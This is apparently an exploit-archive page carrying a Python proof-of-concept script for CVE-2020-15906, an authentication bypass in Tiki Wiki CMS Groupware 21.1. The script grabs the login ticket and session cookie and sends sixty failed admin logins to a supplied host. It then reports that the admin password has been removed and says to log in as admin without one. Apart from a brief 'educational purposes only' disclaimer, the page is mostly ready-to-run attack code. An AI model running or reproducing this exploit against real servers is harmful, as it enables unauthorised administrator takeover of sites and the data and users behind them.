Tiki wiki cms groupware 21.1 authentication bypass Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-10-21 | Type : webapps | Platform : php
This exploit / vulnerability Tiki wiki cms groupware 21.1 authentication bypass is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass
# Date: 01.08.2020 (1st August 2020)
# Exploit Author: Maximilian Barz aka. Silky
# Vendor Homepage: tiki.org
# Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip
# Version: 21.1
# Tested on: Kali Linux 5.7.0-kali1-amd64

#!/usr/bin/env/python3
import requests
import json
import lxml.html
import sys

banner = '''

████████ ██ ██  ██ ██ ██  ██ ██ ██  ██ ██  ██████  ██  ██ 
   ██    ██ ██  ██  ██ ██  ██ ██ ██  ██  ██       ██ ███  ███ 
██  ██ █████   ██ ██  █  ██ ██ █████   ██  █████   ██   ██ 
██  ██ ██  ██  ██ ██ ███ ██ ██ ██  ██  ██  ██      ██  ██ 
██  ██ ██  ██ ██  ███ ███  ██ ██  ██ ██  ███████  ██ ██ ██ 
                                                           

█████  ██  ██ ████████ ██  ██ ███████ ███  ██ ████████ ██  ██████  █████  ████████ ██  ██████  ███  ██  ██████  ██  ██ ██████  █████  ███████ ███████ 
██   ██ ██  ██    ██    ██  ██ ██      ████  ██    ██    ██ ██      ██   ██    ██    ██ ██    ██ ████  ██  ██   ██  ██  ██  ██   ██ ██   ██ ██      ██      
███████ ██  ██  ██  ███████ █████  ██ ██  ██  ██  ██ ██  ███████  ██  ██ ██  ██ ██ ██  ██  ██████    ████   ██████  ███████ ███████ ███████ 
██   ██ ██  ██  ██  ██   ██ ██     ██  ██ ██  ██  ██ ██  ██   ██  ██  ██ ██  ██ ██  ██ ██  ██   ██   ██   ██      ██   ██      ██      ██ 
██  ██  ██████   ██  ██  ██ ███████ ██   ████  ██  ██  ██████ ██  ██  ██  ██  ██████  ██   ████   ██████   ██  ██  ██  ██ ███████ ███████ 
                                                                                                                                            
Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337
'''




def main():
if(len(sys.argv) < 2):
print(banner)
print("Usage: %s <host> " % sys.argv[0])
print("Eg: %s 1.2.3.4 " % sys.argv[0])
return


rhost = sys.argv[1]
url = "http://"+rhost+"/tiki/tiki-login.php"

session = requests.Session()

def get_ticket():
r = requests.get(url)
login_page = r.text.encode('utf-8')
html = lxml.html.fromstring(login_page)
auth = html.xpath('//input[@name="ticket"]/@value')

return str(auth)[2:-2]

def get_cookie():
session.get(url)
return session.cookies.get_dict()


cookie = get_cookie()
ticket = get_ticket()

payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'}
headers = {
'Host': rhost,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzrhost, deflate',
'Referer': 'http://'+rhost+'/tiki/tiki-login.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '125',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0',
}


for i in range(60):
r = session.post(url, payload, headers)
if("Account requires administrator approval." in r.text):
print("Admin Password got removed.")
print("Use BurpSuite to login into admin without a password ")



if(__name__ == '__main__'):
main()